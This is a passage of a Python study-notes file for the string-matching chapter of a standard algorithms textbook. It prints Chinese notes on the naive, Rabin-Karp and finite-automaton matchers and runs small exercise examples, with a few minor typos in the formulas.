'\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u4e5f\u5e38\u5e38\u7528\u4e8e\u5176\u4ed6\u65b9\u9762,\u4f8b\u5982\u5728DNA\u5e8f\u5217\u4e2d\u641c\u5bfb\u7279\u5b9a\u7684\u6a21\u5f0f')\n        print('\u5b57\u7b26\u4e32\u5339\u914d\u95ee\u9898\u7684\u5f62\u5f0f\u5b9a\u4e49\u662f\u8fd9\u6837\u7684:\u5047\u8bbe\u6587\u672c\u662f\u4e00\u4e2a\u957f\u5ea6\u4e3an\u7684\u6570\u7ec4T[1..n],\u6a21\u5f0f\u662f\u4e00\u4e2a\u957f\u5ea6\u4e3am<=n\u7684\u6570\u7ec4P[1..m].',\n            '\u8fdb\u4e00\u6b65\u5047\u8bbeP\u548cT\u7684\u5143\u7d20\u90fd\u662f\u5c5e\u4e8e\u6709\u9650\u5b57\u6bcd\u8868\u2211\u8868\u4e2d\u7684\u5b57\u7b26.\u4f8b\u5982\u53ef\u4ee5\u6709\u2211={0,1}\u6216\u2211={a,b,...,z},\u5b57\u7b26\u6570\u7ec4P\u548cT\u5e38\u79f0\u4e3a\u5b57\u7b26\u4e32')\n        print('\u5982\u679c0<=s<=n-m,\u5e76\u4e14T[S+1,...,s+m]=P[1..m](\u5373\u5bf91<=j<=m,\u6709T[s+j]=P[j]),\u5219\u8bf4\u6a21\u5f0fP\u5728\u6587\u672cT\u4e2d\u51fa\u73b0\u4e14\u4f4d\u79fb\u4e3as.',\n            '(\u6216\u8005\u7b49\u4ef7\u5730,\u6a21\u5f0fP\u5728\u6587\u672cT\u4e2d\u4ece\u4f4d\u7f6es+1\u5f00\u59cb\u51fa\u73b0)\u3002\u5982\u679cP\u5728T\u4e2d\u51fa\u73b0\u4e14\u4f4d\u79fb\u4e3as,\u5219\u79f0s\u4e3a\u4e00\u4e2a\u6709\u6548\u4f4d\u79fb,\u5426\u5219\u79f0s\u4e3a\u65e0\u6548\u4f4d\u79fb',\n            '\u8fd9\u6837\u4e00\u6765,\u5b57\u7b26\u4e32\u5339\u914d\u95ee\u9898\u5c31\u53d8\u6210\u4e00\u4e2a\u5728\u4e00\u6bb5\u6307\u5b9a\u7684\u6587\u672cT\u4e2d,\u627e\u51fa\u67d0\u6307\u5b9a\u6a21\u5f0fP\u51fa\u73b0\u6240\u6709\u6709\u6548\u4f4d\u79fb\u7684\u95ee\u9898')\n        print('\u672c\u7ae0\u7684\u6bcf\u4e2a\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u90fd\u5bf9\u6a21\u5f0f\u8fdb\u884c\u4e86\u4e00\u4e9b\u9884\u5904\u7406,\u7136\u540e\u627e\u5bfb\u6240\u6709\u6709\u6548\u4f4d\u79fb;\u6211\u4eec\u79f0\u7b2c\u4e8c\u6b65\u4e3a\u201c\u5339\u914d\u201d.',\n            '\u6bcf\u4e2a\u7b97\u6cd5\u7684\u603b\u8fd0\u884c\u65f6\u95f4\u4e3a\u9884\u5904\u7406\u548c\u5339\u914d\u65f6\u95f4\u7684\u603b\u548c.')\n        print('32.2\u8282\u4ecb\u7ecd\u7531Rabin\u548cKarp\u53d1\u73b0\u7684\u4e00\u79cd\u6709\u8da3\u7684\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5,\u8be5\u7b97\u6cd5\u5728\u6700\u574f\u60c5\u51b5\u4e0b\u7684\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398((n-m+1)m),\u867d\u7136\u8fd9\u4e00\u65f6\u95f4\u5e76\u4e0d\u6bd4\u6734\u7d20\u7684\u7b97\u6cd5\u597d',\n            '\u4f46\u662f\u5728\u5e73\u5747\u60c5\u51b5\u548c\u5b9e\u9645\u60c5\u51b5\u4e2d,\u8be5\u7b97\u6cd5\u7684\u6548\u679c\u8981\u597d\u7684\u591a.\u8fd9\u79cd\u7b97\u6cd5\u4e5f\u53ef\u4ee5\u5f88\u597d\u5730\u63a8\u5e7f\u5230\u89e3\u51b3\u5176\u4ed6\u7684\u6a21\u5f0f\u5339\u914d\u95ee\u9898')\n        print('32.3\u8282\u4e2d\u63cf\u8ff0\u53e6\u4e00\u79cd\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5,\u8be5\u7b97\u6cd5\u6784\u9020\u4e00\u4e2a\u7279\u522b\u8bbe\u8ba1\u7684\u6709\u9650\u81ea\u52a8\u673a,\u7528\u6765\u641c\u5bfb\u67d0\u7ed9\u5b9a\u6a21\u5f0fP\u5728\u6587\u672c\u4e2d\u7684\u51fa\u73b0\u7684\u4f4d\u7f6e',\n            '\u6b64\u7b97\u6cd5\u7528O(m|\u2211|)\u7684\u9884\u5904\u7406\u65f6\u95f4,\u4f46\u53ea\u7528\u0398(n)\u7684\u5339\u914d\u65f6\u95f4')\n        print('32.4\u8282\u4ecb\u7ecd\u4e0e\u5176\u7c7b\u4f3c\u4f46\u66f4\u5de7\u5999\u7684Knuth-Morris-Pratt(\u6216KMP)\u7b97\u6cd5\u3002\u8be5\u7b97\u6cd5\u7684\u5339\u914d\u65f6\u95f4\u540c\u6837\u4e3a\u0398(n),\u4f46\u662f\u5c06\u9884\u5904\u7406\u65f6\u95f4\u964d\u81f3\u0398(m)')\n        print('\u7b97\u6cd5          \u9884\u5904\u7406\u65f6\u95f4        \u5339\u914d\u65f6\u95f4')\n        print('\u6734\u7d20\u7b97\u6cd5          0           O((n-m+1)m)')\n        print('Rabin-Karp       \u0398(m)        O((n-m+1)m)')\n        print('\u6709\u9650\u81ea\u52a8\u673a\u7b97\u6cd5   O(m|\u2211|)         \u0398(n)')\n        print('KMP\u7b97\u6cd5          \u0398(m)           \u0398(n)')\n        print('\u8bb0\u53f7\u4e0e\u672f\u8bed')\n        print('  \u7528\u2211*\u8868\u793a\u7528\u5b57\u6bcd\u8868\u2211\u4e2d\u7684\u5b57\u7b26\u5f62\u6210\u7684\u6240\u6709\u6709\u9650\u957f\u5ea6\u7684\u5b57\u7b26\u4e32\u7684\u96c6\u5408.\u5728\u672c\u7ae0\u4e2d\u4ec5\u8003\u8651\u957f\u5ea6\u6709\u9650\u7684\u5b57\u7b26\u4e32',\n            '\u957f\u5ea6\u4e3a0\u7684\u7a7a\u5b57\u7b26\u4e32\u7528e\u8868\u793a,\u5b83\u4e5f\u5c5e\u4e8e\u2211*.\u5b57\u7b26\u4e32x\u7684\u957f\u5ea6\u7528|x|\u8868\u793a.\u4e24\u4e2a\u5b57\u7b26\u4e32x\u548cy\u7684\u8fde\u63a5\u8868\u793a\u4e3axy,\u5176\u957f\u5ea6\u4e3a|x|+|y|,\u7531x\u7684\u5b57\u7b26\u63a5y\u7684\u5b57\u7b26\u7ec4\u6210')\n        print('  \u5982\u679c\u5bf9\u67d0\u4e2a\u5b57\u7b26\u4e32\u4e0ey\u2208\u2211*,\u6709x=wy,\u5c31\u8bf4\u5b57\u7b26\u4e32w\u662f\u5b57\u7b26\u4e32x\u7684\u524d\u7f00,\u8868\u793a\u4e3aw\u221dx,\u5f97\u77e5|w|<=|x|.\u7a7a\u5b57\u7b26\u4e32e\u65e2\u662f\u6bcf\u4e2a\u5b57\u7b26\u4e32\u7684\u524d\u7f00,\u4e5f\u662f\u6bcf\u4e2a\u5b57\u7b26\u4e32\u7684\u540e\u7f00',\n            '\u4f8b\u5982,\u6709ab>abcca,cca<abcca.\u5bf9\u4efb\u610f\u5b57\u7b26\u4e32x\u548cy\u53ca\u4efb\u610f\u5b57\u7b26a,x>y\u5f53\u4e14\u4ec5\u5f53xa>ya.\u6ce8\u610f>\u548c<\u90fd\u662f\u4f20\u9012\u5173\u7cfb')\n        print('\u5f15\u740632.1(\u91cd\u53e0\u540e\u7f00\u5b9a\u7406)\u5047\u8bbex,y\u548cz\u662f\u6ee1\u8db3x>z\u548cy<z\u7684\u4e09\u4e2a\u5b57\u7b26\u4e32.\u5982\u679c|x|<=|y|,\u5219x>y;\u5982\u679c|x|>=|y|,\u5219y>x;\u5982\u679c|x|=|y|,\u5219x=y')\n        print('  \u672c\u7ae0\u4e2d\u5141\u8bb8\u628a\u6bd4\u8f83\u4e24\u4e2a\u7b49\u957f\u7684\u5b57\u7b26\u4e32\u662f\u5426\u76f8\u7b49\u7684\u64cd\u4f5c\u5f53\u505a\u539f\u8bed\u64cd\u4f5c.\u5982\u679c\u5bf9\u5b57\u7b26\u4e32\u7684\u6bd4\u8f83\u662f\u4ece\u5de6\u5f80\u53f3\u8fdb\u884c,\u5e76\u4e14\u53d1\u73b0\u4e00\u4e2a\u4e0d\u5339\u914d\u5b57\u7b26\u65f6\u6bd4\u8f83\u5c31\u7ec8\u6b62,',\n            '\u5219\u5047\u8bbe\u8fd9\u6837\u4e00\u4e2a\u6d4b\u8bd5\u8fc7\u7a0b\u6240\u9700\u7684\u65f6\u95f4\u662f\u5173\u4e8e\u6240\u53d1\u73b0\u7684\u5339\u914d\u5b57\u7b26\u6570\u76ee\u7684\u7ebf\u6027\u51fd\u6570')\n        print('32.1 \u6734\u7d20\u7684\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5')\n        print('\u6734\u7d20\u7684\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5:\u5b83\u7528\u4e00\u4e2a\u5faa\u73af\u6765\u627e\u51fa\u6240\u6709\u6709\u6548\u4f4d\u79fb,\u8be5\u5faa\u73af\u5bf9n-m+1\u53ef\u80fd\u7684\u6bcf\u4e00\u4e2as\u503c\u68c0\u67e5\u6761\u4ef6P[1..m]=T[s+1..s+m]')\n        print('\u8fd9\u79cd\u6734\u7d20\u7684\u5b57\u7b26\u4e32\u5339\u914d\u8fc7\u7a0b\u53ef\u4ee5\u5f62\u8c61\u5730\u770b\u6210\u7528\u4e00\u4e2a\u5305\u542b\u6a21\u5f0f\u7684\u201c\u6a21\u677f\u201d\u6cbf\u6587\u672c\u6ed1\u52a8,\u540c\u65f6\u5bf9\u6bcf\u4e2a\u4f4d\u79fb\u6ce8\u610f\u6a21\u677f\u4e0a\u7684\u5b57\u7b26\u662f\u5426\u4e0e\u6587\u672c\u7684\u76f8\u5e94\u5b57\u7b26\u76f8\u7b49')\n        print('NATIVE-STRING-MATCHER\u7684\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398((m-m+1)m)')\n        print('\u5728\u672c\u7ae0\u4e2d\u8fd8\u8981\u4ecb\u7ecd\u4e00\u79cd\u7b97\u6cd5,\u5b83\u7684\u6700\u574f\u60c5\u51b5\u9884\u5904\u7406\u65f6\u95f4\u4e3a\u0398(m),\u6700\u574f\u60c5\u51b5\u5339\u914d\u65f6\u95f4\u4e3a\u0398(n)')\n        print('\u7ec3\u4e6031.1-1 \u89e3\u7b54\u8fc7\u7a0b\u5982\u4e0b\uff1a')\n        P = '0001'\n        T = '000010001010001'\n        sm.native_string_matcher(T, P)\n        print('\u7ec3\u4e6031.1-2 \u5047\u8bbe\u6a21\u5f0fP\u4e2d\u7684\u6240\u6709\u5b57\u7b26\u90fd\u662f\u4e0d\u540c\u7684\u3002\u8bd5\u8bf4\u660e\u5982\u4f55\u5bf9\u4e00\u6bb5n\u4e2a\u5b57\u7b26\u7684\u6587\u672cT\u52a0\u901f\u8fc7\u7a0bNATIVE-STRING-MATCHER\u7684\u6267\u884c\u901f\u5ea6,',\n            '\u4f7f\u5176\u8fd0\u884c\u65f6\u95f4\u8fbe\u5230O(n)')\n        print('\u7ec3\u4e6031.1-3 \u5047\u8bbe\u6a21\u5f0fP\u548c\u6587\u672cT\u662f\u957f\u5ea6\u5206\u522b\u4e3am\u548cn\u7684\u968f\u673a\u9009\u53d6\u7684\u5b57\u7b26\u4e32,\u5176\u5b57\u7b26\u4e32\u5c5e\u4e8ed\u4e2a\u5143\u7d20\u7684\u5b57\u6bcd\u8868\u2211={0,1,...,d-1},\u5176\u4e2dd>=2',\n            '\u8bc1\u660e\u6734\u7d20\u7b97\u6cd5\u7b2c4\u884c\u4e2d\u9690\u542b\u7684\u5faa\u73af\u6240\u6267\u884c\u7684\u5b57\u7b26\u6bd4\u8f83\u7684\u9884\u8ba1\u6b21\u6570\u4e3a')\n        print('   (n-m+1)(1-d**-m)/(1-d**-1)<=2(n-m+1)')\n        print('\u7ec3\u4e6031.1-4 \u5047\u8bbe\u5141\u8bb8\u6a21\u5f0fP\u4e2d\u5305\u542b\u4e00\u4e2a\u95f4\u9694\u5b57\u7b26\u25c7,\u8be5\u5b57\u7b26\u53ef\u4ee5\u4e0e\u4efb\u610f\u7684\u5b57\u7b26\u4e32\u5339\u914d(\u751a\u81f3\u53ef\u4ee5\u4e0e\u957f\u5ea6\u4e3a0\u7684\u5b57\u7b26\u4e32\u5339\u914d)',\n            '\u4f8b\u5982,\u6a21\u5f0fab\u25c7ba\u25c7c')\n        # python src/chapter32/chapter32note.py\n        # python3 src/chapter32/chapter32note.py\n\nclass Chapter32_2:\n    \"\"\"\n    chapter32.2 note and function\n    \"\"\"\n    def __init__(self):\n        pass\n\n    def note(self):\n        \"\"\"\n        Summary\n        ====\n        Print chapter32.2 note\n\n        Example\n        ====\n        ```python\n        Chapter32_2().note()\n        ```\n        \"\"\"\n        print('chapter32.2 note as follow')\n        print('Rabin-Karp\u7b97\u6cd5')\n        print('\u5728\u5b9e\u9645\u5e94\u7528\u4e2d,Rabin\u548cKarp\u6240\u5efa\u8bae\u7684\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u80fd\u591f\u8f83\u597d\u7684\u8fd0\u884c,\u6211\u4eec\u8fd8\u53ef\u4ee5\u4ece\u4e2d\u5f52\u7eb3\u51fa\u6709\u5173\u95ee\u9898\u7684\u5176\u4ed6\u7b97\u6cd5,\u5982\u4e8c\u7ef4\u6a21\u5f0f\u5339\u914d')\n        print('Rabin-Karp\u7b97\u6cd5\u9884\u5904\u7406\u65f6\u95f4\u4e3a')\n        print('\u0398(m),\u5728\u6700\u574f\u60c5\u51b5\u4e0b\u7684\u8fd0\u884c\u65f6\u95f4\u4e3aO((n-m+1)m),\u4f46\u662f\u5b83\u7684\u5e73\u5747\u60c5\u51b5\u8fd0\u884c\u65f6\u95f4\u8fd8\u662f\u6bd4\u8f83\u597d\u7684')\n        print('\u5047\u5b9a\u2211={0,1,2,...,9},\u8fd9\u6837\u6bcf\u4e2a\u5b57\u7b26\u90fd\u662f\u4e00\u4e2a\u5341\u8fdb\u5236\u6570\u5b57(\u4e00\u822c\u60c5\u51b5\u4e0b,\u53ef\u4ee5\u5047\u5b9a\u6bcf\u4e2a\u5b57\u7b26\u90fd\u662f\u57fa\u6570\u4e3ad\u7684\u8868\u793a\u6cd5\u4e2d\u4e00\u4e2a\u6570\u5b57,d=|\u2211|).',\n            '\u53ef\u4ee5\u7528\u4e00\u4e2a\u957f\u5ea6\u4e3ak\u7684\u5341\u8fdb\u5236\u6570\u6765\u8868\u793a\u7531k\u4e2a\u8fde\u7eed\u5b57\u7b26\u7ec4\u6210\u7684\u5b57\u7b26\u4e32.\u56e0\u6b64,\u5b57\u7b26\u4e3231415\u5c31\u5bf9\u5e94\u4e8e\u5341\u8fdb\u5236\u657031415',\n            '\u5982\u679c\u8f93\u5165\u5b57\u7b26\u65e2\u53ef\u4ee5\u770b\u505a\u56fe\u5f62\u7b26\u53f7,\u4e5f\u53ef\u4ee5\u770b\u505a\u6570\u5b57')\n        print('\u5df2\u77e5\u4e00\u4e2a\u6a21\u5f0fP[1..m],\u8bbep\u8868\u793a\u5176\u76f8\u5e94\u7684\u5341\u8fdb\u5236\u6570\u7684\u503c\u3002\u5bf9\u4e8e\u7ed9\u5b9a\u7684\u6587\u672cT[1..n],\u7528ts\u6765\u8868\u793a\u5176\u957f\u5ea6\u4e3am\u7684\u5b50\u5b57\u7b26\u4e32T[s+1..s+m](s=0,1,...,n - m)\u76f8\u5e94\u7684\u5341\u8fdb\u5236\u6570\u7684\u503c')\n        print('\u5f53\u7136,\u7528ts\u6765\u8868\u793a\u5176\u957f\u5ea6\u4e3am\u7684\u5b50\u5b57\u7b26\u4e32T[s+1..s+m](s=0,1,..,n-m)\u76f8\u5e94\u5341\u8fdb\u5236\u6570\u7684\u503c.\u5f53\u7136,ts=p\u5f53\u4e14\u4ec5\u5f53T[s+1..s+m]=P[1..m],\u56e0\u6b64s\u662f\u6709\u6548\u4f4d\u79fb\u5f53\u4e14\u4ec5\u5f53ts=p',\n            '\u5982\u679c\u80fd\u591f\u5728\u0398(m)\u7684\u65f6\u95f4\u5185\u8ba1\u7b97\u51fap\u7684\u503c,\u5e76\u5728\u603b\u5171\u0398(n-m+1)\u7684\u65f6\u95f4\u5185\u8ba1\u7b97\u51fa\u6240\u6709ts\u7684\u503c,\u90a3\u4e48\u901a\u8fc7\u628ap\u503c\u4e0e\u6bcf\u4e2ats\u503c\u8fdb\u884c\u6bd4\u8f83,\u80fd\u591f\u5728\u0398(n)\u7684\u65f6\u95f4\u5185,\u6c42\u51fa\u6709\u6548\u4f4d\u79fbs')\n        print('\u53ef\u4ee5\u8fd0\u7528\u970d\u7eb3\u6cd5\u5219,\u5728\u0398(m)\u7684\u65f6\u95f4\u5185\u8ba1\u7b97\u51fap\u7684\u503c\uff1a')\n        print('  p=P[m]+10(P[m-1]+10(P[m-2]+...+10(P[2]+10P[1])...))')\n        print('\u7c7b\u4f3c\u5730,\u4e5f\u53ef\u4ee5\u5728\u0398(m)\u7684\u65f6\u95f4\u5185,\u6839\u636eT[1..m]\u8ba1\u7b97\u51fat0\u7684\u503c')\n        print('\u4e3a\u4e86\u5728\u0398(n-m)\u7684\u65f6\u95f4\u5185\u8ba1\u7b97\u51fa\u5269\u4f59\u7684\u503ct1,t2,...,tn-m,\u53ef\u4ee5\u5728\u5e38\u6570\u65f6\u95f4\u5185\u6839\u636ets\u8ba1\u7b97\u51fats+1,\u8fd9\u662f\u56e0\u4e3a\u970d\u7eb3\u6cd5\u5219')\n        print('RABIN-KARP-MATCHER\u7684\u9884\u5904\u7406\u65f6\u95f4\u0398(m),\u5176\u5339\u914d\u65f6\u95f4\u5728\u6700\u574f\u60c5\u51b5\u4e0b\u4e3a\u0398((n-m+1)m),\u56e0\u4e3aRabin-Karp\u7b97\u6cd5\u4e0e\u6734\u7d20\u7684\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u4e00\u6837,\u5bf9\u6bcf\u4e2a\u6709\u6548\u4f4d\u79fb\u8fdb\u884c\u663e\u793a\u9a8c\u8bc1',\n            '\u5982\u679cP=a^m\u5e76\u4e14T=a^n,\u5219\u9a8c\u8bc1\u6240\u9700\u7684\u65f6\u95f4\u4e3a\u0398((n-m+1)m),\u56e0\u4e3an-m+1\u53ef\u80fd\u7684\u4f4d\u79fb\u4e2d\u6bcf\u4e00\u4e2a\u90fd\u662f\u6709\u6548\u4f4d\u79fb')\n        print('\u5728\u8bb8\u591a\u5b9e\u9645\u4f5c\u7528\u4e2d,\u6709\u6548\u4f4d\u79fb\u6570\u5f88\u5c11(\u5982\u53ea\u6709\u5e38\u6570c\u4e2a),\u56e0\u6b64,\u7b97\u6cd5\u7684\u671f\u671b\u5339\u914d\u65f6\u95f4\u4e3aO((n-m+1)+cm)=O(n+m),',\n            '\u518d\u52a0\u4e0a\u5904\u7406\u4f2a\u547d\u4e2d\u70b9\u6240\u9700\u7684\u65f6\u95f4.\u5047\u8bbe\u51cf\u5c11\u6a21q\u7684\u503c\u5c31\u50cf\u662f\u4ece\u2211*\u5230Zq\u4e0a\u7684\u4e00\u4e2a\u968f\u673a\u6620\u5c04,\u57fa\u4e8e\u8fd9\u79cd\u5047\u8bbe,\u8fdb\u884c\u542f\u53d1\u6027\u5206\u6790',\n            '\u8981\u6b63\u5f0f\u8bc1\u660e\u8fd9\u4e2a\u5047\u8bbe\u662f\u6bd4\u8f83\u56f0\u96be\u7684,\u4f46\u662f\u6709\u4e00\u79cd\u53ef\u884c\u7684\u65b9\u6cd5,\u5c31\u662f\u5047\u5b9aq\u662f\u4ece\u9002\u5f53\u5927\u7684\u6574\u6570\u4e2d\u968f\u673a\u5f97\u51fa\u7684.\u53ef\u4ee5\u9884\u8ba1\u4f2a\u547d\u4e2d\u7684\u6b21\u6570\u4e3aO(n/q)',\n            '\u56e0\u4e3a\u53ef\u4ee5\u4f30\u8ba1\u51fa\u4efb\u610f\u7684ts\u5bf9\u6a21q\u7b49\u4ef7\u4e8ep\u7684\u6982\u7387\u4e3a1/q.')\n        print('Rabin-Karp\u7b97\u6cd5\u7684\u671f\u671b\u8fd0\u884c\u65f6\u95f4\u4e3a:O(n)+O(m(v+n/q))')\n        print('\u7ec3\u4e6032.2-1 \u5982\u679c\u53d6\u6a21q=11,\u90a3\u4e48\u5f53Rabin-Karp\u5339\u914d\u7b97\u6cd5\u5728\u6587\u672cT=3141592653589793\u4e2d\u4e0e\u641c\u5bfb\u6a21\u5f0fP=26,\u4f1a\u9047\u5230\u591a\u5c11\u4e2a\u4f2a\u547d\u4e2d\u70b9')\n        sm.native_string_matcher('3141592653589793', '26')\n        sm.rabin_karp_matcher('3141592653589793', '26', 10, 11)\n        print('\u7ec3\u4e6032.2-2 \u5982\u4f55\u6269\u5c55Rabin-Karp\u65b9\u6cd5,\u4f7f\u5176\u80fd\u89e3\u51b3\u8fd9\u6837\u7684\u95ee\u9898:\u5982\u4f55\u5728\u6587\u672c\u5b57\u7b26\u4e32\u4e2d\u641c\u5bfb\u51fa\u7ed9\u5b9a\u7684k\u4e2a\u6a21\u5f0f\u4e2d\u4efb\u4f55\u4e00\u4e2a\u51fa\u73b0',\n            '\u8d77\u521d\u5047\u5b9a\u6240\u6709k\u4e2a\u6a21\u5f0f\u90fd\u662f\u7b49\u957f\u7684.\u7136\u540e\u6269\u5c55\u7b97\u6cd5\u5141\u8bb8\u4e0d\u540c\u957f\u5ea6\u7684\u6a21\u5f0f')\n        print('\u7ec3\u4e6032.2-3 \u8bd5\u8bf4\u660e\u5982\u4f55\u6269\u5c55Rabin-Karp\u65b9\u6cd5\u4ee5\u5904\u7406\u4e0b\u5217\u95ee\u9898,\u5728\u4e00\u4e2an*n\u4e8c\u7ef4\u5b57\u7b26\u4e32\u4e2d\u641c\u5bfb\u51fa\u7ed9\u5b9a\u7684m*m\u6a21\u5f0f',\n            '(\u53ef\u4ee5\u4f7f\u8be5\u6a21\u5f0f\u5728\u6c34\u5e73\u65b9\u5411\u548c\u5782\u76f4\u65b9\u5411\u79fb\u52a8,\u4f46\u4e0d\u53ef\u4ee5\u628a\u6a21\u5f0f\u65cb\u8f6c)')\n        print('\u7ec3\u4e6032.2-4 Alice\u6709\u4e00\u4efd\u5f88\u957f\u7684n\u4f4d\u6587\u4ef6\u7684\u590d\u5370\u4ef6A=<an-1,an-2,...,a0>,Bob\u4e5f\u6709\u4e00\u4efd\u7c7b\u4f3c\u7684\u6587\u4ef6B=<bn-1,bn-2,...,b0>',\n            'Alice\u548cBob\u90fd\u5e0c\u671b\u77e5\u9053\u4ed6\u4eec\u7684\u6587\u4ef6\u662f\u5426\u4e00\u6837\uff0c\u4e3a\u4e86\u907f\u514d\u4f20\u9001\u6574\u4e2a\u6587\u4ef6A\u6216B.',\n            '\u8fd0\u7528\u4e0b\u5217\u5feb\u901f\u6982\u7387\u68c0\u67e5\u624b\u6bb5,\u4e00\u8d77\u9009\u62e9\u4e00\u4e2a\u7d20\u6570q>1000n,\u5e76\u4ece{0,1,...,q-1}\u4e2d\u968f\u673a\u9009\u53d6\u4e00\u4e2a\u6574\u6570x,\u7136\u540eAlice\u6c42\u51fa\uff1a',\n            'A(x)=(\u2211aixi) mod q)\u7684\u503c,Bob\u4e5f\u7528\u7c7b\u4f3c\u7684\u65b9\u6cd5\u8ba1\u7b97\u51faB(x).',\n            '\u8bc1\u660e\uff1a\u5982\u679cA\u2260B,\u5219A(x)=B(x)\u7684\u6982\u7387\u81f3\u591a\u4e3a1/1000;\u5982\u679c\u4e24\u4e2a\u6587\u4ef6\u76f8\u540c,\u5219A(x)\u7684\u503c\u5fc5\u5b9a\u7b49\u4e8eB(x)\u7684\u503c') \n        # python src/chapter32/chapter32note.py\n        # python3 src/chapter32/chapter32note.py\n\nclass Chapter32_3:\n    \"\"\"\n    chapter32.3 note and function\n    \"\"\"\n    def __init__(self):\n        pass\n\n    def note(self):\n        \"\"\"\n        Summary\n        ====\n        Print chapter32.3 note\n\n        Example\n        ====\n        ```python\n        Chapter32_3().note()\n        ```\n        \"\"\"\n        print('chapter32.3 note as follow')\n        print('32.3 \u5229\u7528\u6709\u9650\u81ea\u52a8\u673a\u8fdb\u884c\u5b57\u7b26\u4e32\u5339\u914d')\n        print('\u5f88\u591a\u5b57\u7b26\u4e32\u5339\u914d\u7b97\u6cd5\u90fd\u8981\u5efa\u7acb\u4e00\u4e2a\u6709\u9650\u81ea\u52a8\u673a,\u5b83\u901a\u8fc7\u5bf9\u6587\u672c\u5b57\u7b26\u4e32T\u8fdb\u884c\u626b\u63cf\u7684\u65b9\u6cd5,',\n            '\u627e\u51fa\u6a21\u5f0fP\u7684\u6240\u6709\u51fa\u73b0\u4f4d\u7f6e.\u5efa\u7acb\u8fd9\u6837\u81ea\u52a8\u673a\u7684\u65b9\u6cd5,\u7528\u4e8e\u5b57\u7b26\u4e32\u5339\u914d\uff1a\u5b83\u4eec\u53ea\u5bf9\u6bcf\u4e2a\u6587\u672c\u5b57\u7b26\u68c0\u67e5\u4e00\u6b21,\u5e76\u4e14\u68c0\u67e5\u6bcf\u4e2a\u6587\u672c\u5b57\u7b26\u7684\u65f6\u95f4\u4e3a\u5e38\u6570',\n            '\u56e0\u6b64,\u5728\u5efa\u7acb\u597d\u81ea\u52a8\u673a\u540e\u6240\u9700\u8981\u7684\u65f6\u95f4\u4e3a\u0398(n),\u4f46\u662f\u5982\u679c\u2211\u5f88\u5927,\u5efa\u7acb\u81ea\u52a8\u673a\u6240\u82b1\u7684\u65f6\u95f4\u4e5f\u53ef\u80fd\u662f\u5f88\u591a\u7684')\n        print('\u5728\u672c\u8282\u7684\u5f00\u5934\u5148\u5b9a\u4e49\u6709\u9650\u81ea\u52a8\u673a\u6982\u5ff5.\u8003\u5bdf\u4e00\u79cd\u4e00\u79cd\u7279\u6b8a\u7684\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a,\u5e76\u8bf4\u660e\u5982\u4f55\u5229\u7528\u5b83\u627e\u51fa\u4e00\u4e2a\u6a21\u5f0f\u5728\u6587\u672c\u4e2d\u7684\u51fa\u73b0\u4f4d\u7f6e',\n            '\u5305\u62ec\u5bf9\u4e00\u6bb5\u7ed9\u5b9a\u7684\u6587\u672c,\u5982\u4f55\u6a21\u62df\u51fa\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a\u7684\u6267\u884c\u6b65\u9aa4\u7684\u4e00\u4e9b\u7ec6\u8282.',\n            '\u5c06\u8bf4\u660e\u5bf9\u4e00\u4e2a\u7ed9\u5b9a\u7684\u8f93\u5165\u6a21\u5f0f,\u5982\u4f55\u6784\u9020\u76f8\u5e94\u7684\u5b57\u7b26\u4e32\u5339\u914d\u81ea\u52a8\u673a')\n        print('\u6709\u9650\u81ea\u52a8\u673a')\n        print('  \u4e00\u4e2a\u6709\u9650\u81ea\u52a8\u673aM\u662f\u4e00\u4e2a5\u5143\u7ec4(Q,q0,A,\u2211,d)')\n        print('   Q\u662f\u4e00\u4e2a\u72b6\u6001\u7684\u6709\u9650\u96c6\u5408')\n        print('   q0\u2208Q\u662f\u521d\u59cb\u72b6\u6001')\n        print('   A\u2208Q\u662f\u4e00\u4e2a\u63a5\u53d7\u72b6\u6001\u96c6\u5408')\n        print('   \u2211\u662f\u6709\u9650\u7684\u8f93\u5165\u5b57\u6bcd\u8868')\n        print('   d\u662f\u4e00\u4e2a\u4eceQ\u00d7\u2211\u5230Q\u7684\u51fd\u6570,\u79f0\u4e3aM\u7684\u8f6c\u79fb\u51fd\u6570')\n        print('  \u6709\u9650\u81ea\u52a8\u673a\u5f00\u59cb\u4e8e\u72b6\u6001q0,\u6bcf\u6b21\u8bfb\u5165\u8f93\u5165\u5b57\u7b26\u4e32\u7684\u4e00\u4e2a\u5b57\u7b26.\u5982\u679c\u6709\u9650\u81ea\u52a8\u673a\u5728\u72b6\u6001q\u65f6\u8bfb\u5165\u4e86\u8f93\u5165\u5b57\u7b26a,\u5219\u5b83\u4ece\u72b6\u6001q\u53d8\u4e3a\u72b6\u6001d(q,a)(\u8fdb\u884c\u4e86\u4e00\u6b21\u8f6c\u79fb).',\n            '\u6bcf\u5f53\u5176\u72b6\u6001q\u5c5e\u4e8eA\u65f6,\u5c31\u8bf4\u81ea\u52a8\u673aM\u63a5\u53d7\u4e86\u6240\u6709\u8bfb\u5165\u7684\u5b57\u7b26\u4e32\u3002\u6ca1\u6709\u88ab\u63a5\u6536\u7684\u8f93\u5165\u79f0\u4e3a\u88ab\u62d2\u7edd\u7684\u8f93\u5165')\n        print('  \u6709\u9650\u81ea\u52a8\u673aM\u53ef\u4ee5\u63a8\u5bfc\u51fa\u4e00\u4e2a\u51fd\u6570\u222e,\u79f0\u4e3a\u7ec8\u6b62\u51fd\u6570,\u5b83\u662f\u4ece\u2211*\u5230Q\u7684\u51fd\u6570,\u5e76\u6ee1\u8db3:\u222e(w)\u662fM\u5728\u626b\u63cf\u5b57\u7b26\u4e32w\u7ec8\u6b62\u65f6\u7684\u72b6\u6001.',\n            '\u56e0\u6b64,M\u63a5\u53d7\u5b57\u7b26\u4e32w\u5f53\u4e14\u4ec5\u5f53\u222e(w)\u2208A,\u51fd\u6570\u222e\u7531\u4e0b\u5217\u9012\u5f52\u5173\u7cfb\u5b9a\u4e49\u222e(e)\u2208q0',\n            '\u222e(wa)=d(\u222e(w), a) 